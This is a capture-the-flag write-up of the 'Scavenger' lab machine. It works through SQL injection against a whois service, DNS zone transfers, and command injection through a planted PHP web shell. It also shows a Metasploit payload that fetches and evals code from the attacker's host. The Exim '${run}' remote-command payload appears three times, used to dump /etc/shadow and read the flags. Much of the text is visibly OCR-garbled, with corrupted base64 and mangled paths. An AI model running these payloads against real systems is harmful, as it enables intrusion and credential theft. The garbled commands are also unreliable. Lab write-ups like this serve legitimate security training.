# Scavenger

| SCAVENGER 10.10.10.155



# InfoGathering

Nmap scan report for scavenger.htb (10.10.10.155) Host is up (0.046s latency).

Not shown: 993 filtered ports PORT STATE SERVICE VERSION

20/tcp closed ftp-data 21/tcp open ftp vsftpd

3.0.3

22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)

ssh-hostkey:

2048 df:94:47:03:09:ed:8c:f7:b6:91:c5:08:b5:20:e5:bc (RSA) 256 e3:05:c1:c5:d1:9c:3f:91:0f:c0:35:4b:44:7f:21:9e (ECDSA)

256 45:92:c0:a1:d9:5d:20:d6:eb:49:db:12:a5:70:b7:31 (ED25519)

25/tcp open smtp Exim smtpd 4.89

| smtp-commands: ib01.supersechosting.htb Hello scavenger.htb [10.10.14.21], SIZE 52428800, 8BITMIME, PIPELINING, PRDR, HELP,

Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP

43/tcp open whois? | fingerprint-strings:

GenericLines, GetRequest, HTTPOptions, Help,

RTSPRequest:

% SUPERSECHOSTING WHOIS server

v0.6beta@MariaDB10.1.37

more information on SUPERSECHOSTING, visit http://www.supersechosting.htb

This guery returned 0 object

SSLSessionReg, TLSSessionReg, TerminalServerCookie:

% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37

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1267 (HY000): Illegal mix of collations (utf8mb4\_general\_ci,IMPLICIT) and (utf8\_general\_ci,COERCIBLE) for operation 'like'

53/tcp open domain ISC BIND 9.10.3-P4 (Debian Linux)

| dns-nsid:

bind.version: 9.10.3-P4-Debian

80/tcp open http Apache httpd 2.4.25 ((Debian))

|\_http-server-header: Apache/2.4.25 (Debian)

| http-title: Site doesn't have a title (text/html).

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-ser

vice:

FTP Does not allow anonymous access. I attempted the IP address first. After the enum below I attempted to connect to ftp.supersechosting.htb

PORT 43 IS UNUSUAL. I CONNECTED TO IT USING NETCAT. This gave me the hostname of the machine. This

nc 10.10.10.155 43 <PRESS ENTER>

```
root@kali:~/HTB/Boxes/Scavenger# nc 10.10.10.155 43
& SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
& for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
& This query returned 0 object
```

#### SQL Injections

```
') UNION (SELECT @@hostname, '2')#
-- RESULTS
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
% This query returned 1 object
ib01
') UNION SELECT * FROM ib01#
') UNION (SELECT (SELECT GROUP CONCAT(table schema, table name SEPARATOR " / ") FROM
-- RESULTS
information_schema.tables where table schema != "information schema"), '2')#
> whoiscustomers% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
% This query returned 1 object
whoiscustomers
') UNION (SELECT (SELECT GROUP CONCAT(table schema, table name, column name SEPARATOR " / ")
FROM information schema.columns where table schema != "information schema"), '2')#
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
% This query returned 1 object
whoiscustomersid / whoiscustomersdomain / whoiscustomersdata
') UNION (SELECT (SELECT GROUP CONCAT(id, domain SEPARATOR " / ") FROM whois.customers), '2')#
-- RESULTS
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
% This query returned 1 object
1supersechosting.htb / 2justanotherblog.htb / 3pwnhats.htb / 4rentahacker.htb
```

I added all of the below hostnames to my /etc/hosts file. You can also add 10.10.10.155 as one of your name servers

10.10.10.155 supersechosting.htb justanotherblog.htb pwnhats.htb rentahacker.htb

We can now use dig to obtain some more information

```
dig axfr @scavenger.htb supersechosting.htb
supersechosting.htb.
                         604800
                                          S<sub>0</sub>A
                                                   nsl.supersechosting.htb. root.supersechosting.htb. 3
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                                  IN
                                          NS
supersechosting.htb.
                         604800
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                         604800
                                          MX
                                                   10 mail1.supersechosting.htb.
supersechosting.htb.
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supersechosting.htb.
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                                                   10.10.10.155
ftp.supersechosting.htb. 604800 IN
                                          Α
                                                   10.10.10.155
mail1.supersechosting.htb. 604800 IN
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                                                   10.10.10.155
ns1.supersechosting.htb. 604800 IN
                                          Α
                                                   10.10.10.155
whois.supersechosting.htb. 604800 IN
                                          Α
                                                   10.10.10.155
www.supersechosting.htb. 604800 IN
                                          Α
                                                   10.10.10.155
supersechosting.htb.
                         604800 IN
                                          S0A
                                                   nsl.supersechosting.htb. root.supersechosting.htb. 3
604800 86400 2419200 604800
dig axfr @scavenger.htb justanotherblog.htb
# RESULTS
justanotherblog.htb.
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justanotherblog.htb.
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# RESULTS
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pwnhats.htb.
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                                                   10.10.10.155
mail1.pwnhats.htb.
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                                  IN
                                                   10.10.10.155
                         604800
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                                                   10.10.10.155
www.pwnhats.htb.
                                          Α
pwnhats.htb.
                         604800
                                  IN
                                          S<sub>0</sub>A
                                                   nsl.supersechosting.htb. root.supersechosting.htb. 5
604800 86400 2419200 604800
dig axfr @scavenger.htb rentahacker.htb
# RESULTS
                                          S0A
rentahacker.htb.
                         604800
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                                                   nsl.supersechosting.htb. root.supersechosting.htb. 4
604800 86400 2419200 604800
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rentahacker.htb.
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mail1.rentahacker.htb.
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sec03.rentahacker.htb.
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www.rentahacker.htb.
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rentahacker.htb.
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604800 86400 2419200 604800
```

#### Most of the DNS sites showed the below contents on the page

```
<h2>Virtualhost not available.</h2>
<h3>ERROR: vhost config data not found.</h3>
```

The site sec03.rentahacker.htb had the message owned by 31173 HAXXOR team!!!

# Owned by 31173 HAXXOR team!!!

#### FUZZ RESULTS FOR sec03.rentahacker.htb

```
ffuf -w /usr/share/SecLists/Discovery/Web-Content/big.txt -u http://sec03.rentahacker.htb/FUZZ -c -r -o
ffuf.results
# RESULTS
                         [Status: 403, Size: 305, Words: 22, Lines: 12]
.htaccess
                         [Status: 403, Size: 305, Words: 22, Lines: 12]
.htpasswd
                         [Status: 403, Size: 300, Words: 22, Lines: 12]
api
config
                         [Status: 403, Size: 302, Words: 22, Lines: 12]
                         [Status: 403, Size: 300, Words: 22, Lines: 12]
core
                         [Status: 403, Size: 300, Words: 22, Lines: 12]
CSS
                         [Status: 403, Size: 299, Words: 22, Lines: 12]
doc
                         [Status: 403, Size: 302, Words: 22, Lines: 12]
fonts
                         [Status: 403, Size: 303, Words: 22, Lines: 12]
images
                         [Status: 403, Size: 307, Words: 22, Lines: 12]
javascript
                         [Status: 403, Size: 299, Words: 22, Lines: 12]
js
                         [Status: 403, Size: 300, Words: 22, Lines: 12]
lang
library
                         [Status: 403, Size: 303, Words: 22, Lines: 12]
manual
                         [Status: 200, Size: 626, Words: 14, Lines: 13]
phpmyadmin
                         [Status: 403, Size: 306, Words: 22, Lines: 12]
plugins
                         [Status: 403, Size: 303, Words: 22, Lines: 12]
                         [Status: 403, Size: 303, Words: 22, Lines: 12]
scripts
                         [Status: 403, Size: 309, Words: 22, Lines: 12]
server-status
                         [Status: 403, Size: 303, Words: 22, Lines: 12]
# THE SITE USES PHP SO I FUZZED THE .PHP FILE TYPE AND OBTAINED THE BELOW PHP FILES
.htpasswd
                         [Status: 403, Size: 309, Words: 22, Lines: 12]
.htaccess
                         [Status: 403, Size: 309, Words: 22, Lines: 12]
                         [Status: 200, Size: 4729, Words: 287, Lines: 58]
bug_report
                         [Status: 200, Size: 0, Words: 1, Lines: 1]
core
                         [Status: 200, Size: 4618, Words: 211, Lines: 89]
file download
                         [Status: 200, Size: 4610, Words: 211, Lines: 89]
index
login
                         [Status: 200, Size: 4712, Words: 286, Lines: 58]
                         [Status: 200, Size: 4614, Words: 211, Lines: 89]
main_page
                         [Status: 200, Size: 4669, Words: 279, Lines: 58]
plugin
search
                         [Status: 200, Size: 4611, Words: 211, Lines: 89]
shell
                         [Status: 200, Size: 0, Words: 1, Lines: 1]
signup
                         [Status: 200, Size: 4729, Words: 287, Lines: 58]
verify
                         [Status: 200, Size: 4760, Words: 283, Lines: 59]
                         [Status: 200, Size: 4667, Words: 279, Lines: 58]
[Status: 200, Size: 4667, Words: 279, Lines: 58]
view
wiki
```

# Gaining Access

The shell.php file seemed interesting since the HAXXOR team hacked it. This might mean it is their leftovers. I ffuf that as well

```
ffuf -w /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u http://
sec03.rentahacker.htb/shell.php\?FUZZ\=whoami -fs 0
# RESULTS
hidden [Status: 200, Size: 8, Words: 1, Lines: 2]
```

This found the 'hidden' parameter. It turns out that is the parameter we use to execute commands

```
curl http://sec03.rentahacker.htb/shell.php\?hidden\=whoami
# RESULTS
ib01c03
```

```
hidden [Status: 200, Size: 8, Words: 1, Lines: 2]
:: Progress: [2588/2588] :: 184 req/sec :: Duration: [0:00:14] :: Errors: 0 ::
root@kali:~/HTB/Boxes/Scavenger# |
```

I used the below command injections to explore the file system. I was unsuccessful in carrying out a reverse shell using URL encoding

```
# List files in directories
curl http://sec03.rentahacker.htb/shell.php\?hidden\=ls+-la+/home/ib01c03
# Read Files
curl http://sec03.rentahacker.htb/shell.php\?hidden\=cat+/home/ib01c03/sec03/verify.php
```

#### I next tried using base64 to encode my commands

```
# Encode command
echo 'whoami' | base64

# Curl attempt that works
curl http://sec03.rentahacker.htb/shell.php\?hidden\=echo+d2hvYW1pCg==\|base64+-d\|sh
```

#### Base64 encoding worked so I attempted to use metasploits web delivery module. This unfortunately failed

```
msfconsole
use exploit/mulit/script/web_delivery
set LHOST 10.10.14.21
set SRVHOST 10.10.14.21
set LPORT 8081
set SRVPORT 8082
set target 1
set payload php/meterpreter/reverse_tcp
run

# Base64 the generated command
echo 'php -d allow_url_fopen=true -r "eval(file_get_contents('http://10.10.14.21:8082/ym1AAmq9'));"' |
base64
```

#### Use curl to execute the now encoded command

```
 curl http://sec03.rentahacker.htb/shell.php\\? hidden\\=echo+cGhwIC1kIGFsbG93X3VybF9mb3Blbj10cnVlIC1yICJldmFsKGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRw0i8vMTAuMTAuMTQuMjE60DA4Mi95bTFBQW1x0ScpKTsi\\|base64+-d
```

I found a resource that had allowed me to read the user and root flags.

I was able to read the user flag using the below method

RESOURCE: https://packetstormsecurity.com/files/153218/Exim-4.9.1-Remote-Command-Execution.html

The below payload needs to be encrypted using Base64

```
touch /dev/shm/test3; (sleep 0.1; echo HELO foo; sleep 0.1; echo 'MAIL FROM:<>'; sleep 0.1; echo 'RCPT TO:<${run{\x2Fbin\x2Fsh\x09-\c\x09\x22cat\x09\x2Fhome\x2F\ib01c01\x2Fuser.txt\x3E\x3E\x2Fdev\x2Fshm\x2Ftest3\x22}}@localhost>'; sleep 0.1; echo DATA; sleep 0.1; echo "Received: 1"; echo "Received: 2"; echo "Received: 3"; echo "Received: 4"; echo "Received: 5"; echo "Received: 6"; echo "Received: 7"; echo "Received: 8"; echo "Received: 9"; echo "Received: 10"; echo "Received: 11"; echo "Received: 12"; echo "Received: 13"; echo "Received: 14"; echo "Received: 15"; echo "Received: 16"; echo "Received: 17"; echo "Received: 18"; echo "Received: 19"; echo "Received: 20"; echo "Received: 21"; echo "Received: 22"; echo "Received: 23"; echo "Received: 24"; echo "Received: 25"; echo "Received: 26"; echo "Received: 27"; echo "Received: 28"; echo "Received: 29"; echo "Received: 30"; echo "Received: 31"; echo ""; echo "."; echo QUIT) | nc 127.0.0.1 25
```

#### Once encoded into base64 it will look like the below

dG91Y2ggL2Rldi9zaG0vdGVzdDM7KHNsZWVwIDAuMSA7IGVjaG8gSEVMTyBmb28g0yBzbGVlcCAwLjEg0yBlY2hvICdNQUlMIEZST006PD
4nIDsgc2xlZXAgMC4xIDsgZWNobyAnUkNQVCBUTzo8JHtydW57XHgyRmJpblx4MkZzaFx4MDktY1x4MDlceDIyY2F0XHgw0Vx4MkZob21l
XHgyRmliMDFjMDFceDJGdXNlci50eHRceDNFXHgzRVx4MkZkZXZceDJGc2htXHgyRnRlc3QzXHgyMn19QGxvY2FsaG9zdD4nIDsgc2xlZX
AgMC4xIDsgZWNobyBEQVRBIDsgc2xlZXAgMC4xIDsgZWNobyAiUmVjZWl2ZWQ6IDEiIDsgZWNobyAiUmVjZWl2ZWQ6IDIiIDtlY2hvICJS
ZWNlaXZlZDogMyIg02VjaG8gIlJlY2VpdmVk0iA0IiA7ZWNobyAiUmVjZWl2ZWQ6IDUiIDtlY2hvICJSZWNlaXZlZDogNiIg02VjaG8gIl
JlY2VpdmVk0iA3IiA7ZWNobyAiUmVjZWl2ZWQ6IDgiIDtlY2hvICJSZWNlaXZlZDogOSIg02VjaG8gIlJlY2VpdmVk0iAxMCIg02VjaG8g
IlJlY2VpdmVk0iAxMSIg02VjaG8gIlJlY2VpdmVk0iAxMiIg02VjaG8gIlJlY2VpdmVk0iAxMyIg02VjaG8gIlJlY2VpdmVk0iAxNCIg02
VjaG8gIlJlY2VpdmVk0iAxNSIg02VjaG8gIlJlY2VpdmVk0iAxNiIg02VjaG8gIlJlY2VpdmVk0iAxNyIg02VjaG8gIlJlY2VpdmVk0iAxNOIg02VjaG8gIlJlY2VpdmVk0iAyMSIg02VjaG8gIlJlY2VpdmVk0iAyMSIg02VjaG8gIlJlY2VpdmVk0iAyMSIg02VjaG8gIlJlY2VpdmVk0iAyMSIg02VjaG8gIlJlY2VpdmVk0iAyMSIg02VjaG8gIlJlY2VpdmVk0iAyNSIg02VjaG8gIlJlY2VpdmVk0iAyNSIg02VjaG8gIlJlY2VpdmVk0iAyNSIg02VjaG8gIlJlY2VpdmVk0iAyNSIg02VjaG8gIlJlY2VpdmVk0iAyNSIg02VjaG8gIlJlY2VpdmVk0iAyNSIg02VjaG8gIlJlY2VpdmVk0iAyMSIg02VjaG8gIlJlY2VpdmVk0iAyNSIg02VjaG8gIlJlY2VpdmVk0iAyMSIg02VjaG8gIlJ

#### Place the above Base64 value into our command injection and then read the file we created at /dev/shm/test3

curl http://sec03.rentahacker.htb/shell.php\?
hidden=echo+dG91Y2ggL2Rldi9zaG0vdGVzdDM7KHNsZWVwIDAuMSA7IGVjaG8gSEVMTyBmb28g0yBzbGVlcCAwLjEg0yBlY2hvICdNQU
lMIEZST006PD4nIDsgc2xlZXAgMC4xIDsgZWNobyAnUkNQVCBUTzo8JHtydW57XHgyRmJpblx4MkZzaFx4MDktYlx4MDlceDIyY2F0XHgw
0Vx4MkZob2llXHgyRmliMDFjMDFceDJGdXNlci50eHRceDNFXHgzRVx4MkZkZZceDJGc2htXHgyRnRlc3QzXHgyMn19QGxvY2FsaG9zdD
4nIDsgc2xlZXAgMC4xIDsgZWNobyBEQVRBIDsgc2xlZXAgMC4xIDsgZWNobyAiUmVjZWl2ZWQ6IDEiIDsgZWNobyAiUmVjZWl2ZWQ6IDIi
IDtlY2hvICJSZWNlaXZlZDogMyIg02VjaG8gIlJlY2VpdmVk0iA0IiA7ZWNobyAiUmVjZWl2ZWQ6IDUiIDtlY2hvICJSZWNlaXZlZDogNi
Ig02VjaG8gIlJlY2VpdmVk0iA3IiA7ZWNobyAiUmVjZWl2ZWQ6IDgiIDtlY2hvICJSZWNlaXZlZDogOSIg02VjaG8gIlJlY2VpdmVk0iAx
MCIg02VjaG8gIlJlY2VpdmVk0iAxMSIg02VjaG8gIlJlY2VpdmVk0iAxMiIg02VjaG8gIlJlY2VpdmVk0iAxMyIg02VjaG8gIlJlY2Vpdm
Vk0iAxNCIg02VjaG8gIlJlY2VpdmVk0iAxNSIg02VjaG8gIlJlY2VpdmVk0iAxNiIg02VjaG8gIlJlY2VpdmVk0iAxMyIg02VjaG8gIlJlY2VpdmVk0iAyMCIg02VjaG8gIlJlY2VpdmVk0iAyMSIg02Vja

```
root@kali:~/HTB/Boxes/Scavenger# curl http://sec03.rentahacker.htb/shell.php
T006PD4nIDsgc2xlZXAgMC4xIDsgZWNobyAnUkNQVCBUTzo8JHtydW57XHgyRmJpblx4MkZzaFx4
19QGxvY2FsaG9zdD4nIDsgc2xlZXAgMC4xIDsgZWNobyBEQVRBIDsgc2xlZXAgMC4xIDsgZWNoby
ZWl2ZWQ6IDUiIDtlY2hvICJSZWNlaXZlZDogNiIg02VjaG8gIlJlY2VpdmVk0iA3IiA7ZWNobyAi
VpdmVk0iAxMiIg02VjaG8gIlJlY2VpdmVk0iAxMyIg02VjaG8gIlJlY2VpdmVk0iAyNCIg02VjaG
IlJlY2VpdmVk0iAxOSIg02VjaG8gIlJlY2VpdmVk0iAyMCIg02VjaG8gIlJlY2VpdmVk0iAyMSIQ
VjaG8gIlJlY2VpdmVk0iAyNiIg02VjaG8gIlJlY2VpdmVk0iAyNyIg02VjaG8gIlJlY2VpdmVk0i
IiA7IGVjaG8gUVVJVCkgfCBuYyAxMjcuMC4wLjEgMjU=\|base64+-d\|sh
220 ib01.supersechosting.htb ESMTP Exim 4.89 Thu, 19 Dec 2019 04:48:32 +0106
250 ib01.supersechosting.htb Hello localhost [127.0.0.1]
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
250 OK id=lihmng-0002ia-0L
221 ib01.supersechosting.htb closing connection
```

curl http://sec03.rentahacker.htb/shell.php\?hidden=cat+/dev/shm/test3

root@kali:~/HTB/Boxes/Scavenger# curl http://sec03.rentahacker.htb/shell.php\?hidden=cat+/dev/shm/test3
6f8a8a832ea8182fddf1da903dcc804d

USER FLAG: 6f8a8a832ea8182fddf1da903dcc804d

## PrivEsc

I was able to gain root the same way. I next successfully attemtped to read the /etc/shadow file to ensure I am in fact executing with full root permissions.

## Base64 encode the following

```
touch /dev/shm/derp;(sleep 0.1 ; echo HELO foo ; sleep 0.1 ; echo 'MAIL FROM:<>' ; sleep 0.1 ; echo 'RCPT
T0:<${run{\x2Fbin\x2Fsh\x09-c\x09\x22cat\x09\x22cat\x09\x2Fshadow\x3E\x2Fdev\x2Fshm\x2Fderp\x22}}
@localhost>' ; sleep 0.1 ; echo DATA ; sleep 0.1 ; echo "Received: 1" ; echo "Received: 2" ; echo
"Received: 3" ; echo "Received: 4" ; echo "Received: 5" ; echo "Received: 6" ; echo "Received: 7" ; echo
"Received: 8" ; echo "Received: 9" ; echo "Received: 10" ; echo "Received: 11" ; echo "Received: 12" ; echo
"Received: 13" ; echo "Received: 14" ; echo "Received: 15" ; echo "Received: 16" ; echo "Received: 17" ; echo
"Received: 18" ; echo "Received: 19" ; echo "Received: 20" ; echo "Received: 21" ; echo "Received: 22" ; echo
"Received: 23" ; echo "Received: 24" ; echo "Received: 25" ; echo "Received: 26" ; echo "Received: 27" ; echo
"Received: 28" ; echo "Received: 29" ; echo "Received: 30" ; echo "Received: 31" ; echo "." ; echo
QUIT) | nc 127.0.0.1 25
```

#### **RESULTS OF BASE64 ENCODE**

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#### I then read the file I created containing the contents of /etc/shadow

curl http://sec03.rentahacker.htb/shell.php\?hidden=cat+/dev/shm/derp

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root@kali:-/HTB/Boxes/Scavenger# curl http://sec03.rentahacker.htb/shell.php\?hidden=cat+/dev/shm/derp
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 faemon:*:17869:0:99999:7:::
bin:*:17869:0:99999:7:::
sys:*:17869:0:99999:7:::
sync:*:17869:0:99999:7:::
games:*:17869:0:99999:7:::
man:*:17869:0:99999:7:::
lp:*:17869:0:99999:7:
 nail:*:17869:0:99999:7::
 news:*:17869:0:99999:7:::
uucp:*:17869:0:99999:7:::
 proxy: *:17869:0:99999:7:::
 ww-data:*:17869:0:99999:7:::
 packup:*:17869:8:99999:7:::
 list: *:17869:0:99999:7:::
irc:*:17869:0:99999:7:::
gnats:*:17869:0:999999:7:::
nobody:*:17869:8:99999:7::
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systemd-network:*:17869:0:99999:7:::
systemd-resolve:*:17869:0:99999:7:::
systemd-bus-proxy:*:17869:0:99999:7:::
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news:*:17869:0:99999:7:::
uucp:*:17869:0:99999:7:::
proxy:*:17869:0:99999:7:::
www-data:*:17869:0:99999:7:::
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mail:*:17869:0:99999:7:::
news:*:17869:0:99999:7:::
uucp:*:17869:0:99999:7:::
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systemd-timesync:*:17869:0:99999:7:::
systemd-network:*:17869:0:99999:7:::
systemd-resolve:*:17869:0:99999:7:::
systemd-bus-proxy:*:17869:0:99999:7:::
apt:*:17869:0:99999:7:::
avahi-autoipd:*:17869:0:99999:7:::
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ftp:*:17872:0:99999:7:::
Debian-exim: !: 17875:0:99999:7:::
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To read the root flag base64 encode the below data. To avoid special character issues I used an online resource RESOURCE: https://www.base64encode.org/

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touch /dev/shm/flag;(sleep 0.1; echo HELO foo; sleep 0.1; echo 'MAIL FROM:<>'; sleep 0.1; echo 'RCPT TO:<${run{\x2Fbin\x2Fsh\x09-c\x09\x22cat\x09\x2Froot\x2Froot\x2Froot\x2Froot\x2Fdev\x2Fshm\x2Fflag\x22}}} @localhost>'; sleep 0.1; echo DATA; sleep 0.1; echo "Received: 1"; echo "Received: 2"; echo "Received: 3"; echo "Received: 4"; echo "Received: 5"; echo "Received: 6"; echo "Received: 7"; echo "Received: 8"; echo "Received: 9"; echo "Received: 10"; echo "Received: 11"; echo "Received: 12"; echo "Received: 13"; echo "Received: 14"; echo "Received: 15"; echo "Received: 16"; echo "Received: 17"; echo "Received: 18"; echo "Received: 19"; echo "Received: 20"; echo "Received: 21"; echo "Received: 22"; echo "Received: 23"; echo "Received: 24"; echo "Received: 25"; echo "Received: 26"; echo "Received: 27"; echo "Received: 28"; echo "Received: 29"; echo "Received: 30"; echo "Received: 31"; echo ""; echo "."; echo "UIT) | nc 127.0.0.1 25
```

## Base64 encoded result

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## Execute the command to copy the root.txt file

curl http://sec03.rentahacker.htb/shell.php\?
hidden=echo+dG91Y2ggL2Rldi9zaG0vZmxhZzsoc2xlZXAgMC4xIDsgZWNobyBIRUxPIGZvbyA7IHNsZWVwIDAuMSA7IGVjaG8gJ01BSU
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MSAyNQ==\|base64+-d\|sh

root@kali:~/HTB/Boxes/Scavenger# curl http://sec03.rentahacker.htb/shell.php\?hidden=echo+dG9
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220 ib01.supersechosting.htb ESMTP Exim 4.89 Thu, 19 Dec 2019 04:53:23 +0100
250 ib01.supersechosting.htb Hello localhost [127.0.0.1]
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
250 OK id=lihms0-0002jn-7I
221 ib01.supersechosting.htb closing connection

#### Now read the file you just created

 $curl \ http://sec03.rentahacker.htb/shell.php\?hidden=cat+/dev/shm/flag$ 

r<mark>oot@kali:~/HTB/Boxes/Scavenger</mark># curl http://sec03.rentahacker.htb/shell.php\?hidden=cat+/dev/shm/flag 4a08d8174e9ec22b01d91ddb9a732b17

Not my favorite box. It was called Scavenger though.

ROOT FLAG: 4a08d8174e9ec22b01d91ddb9a732b17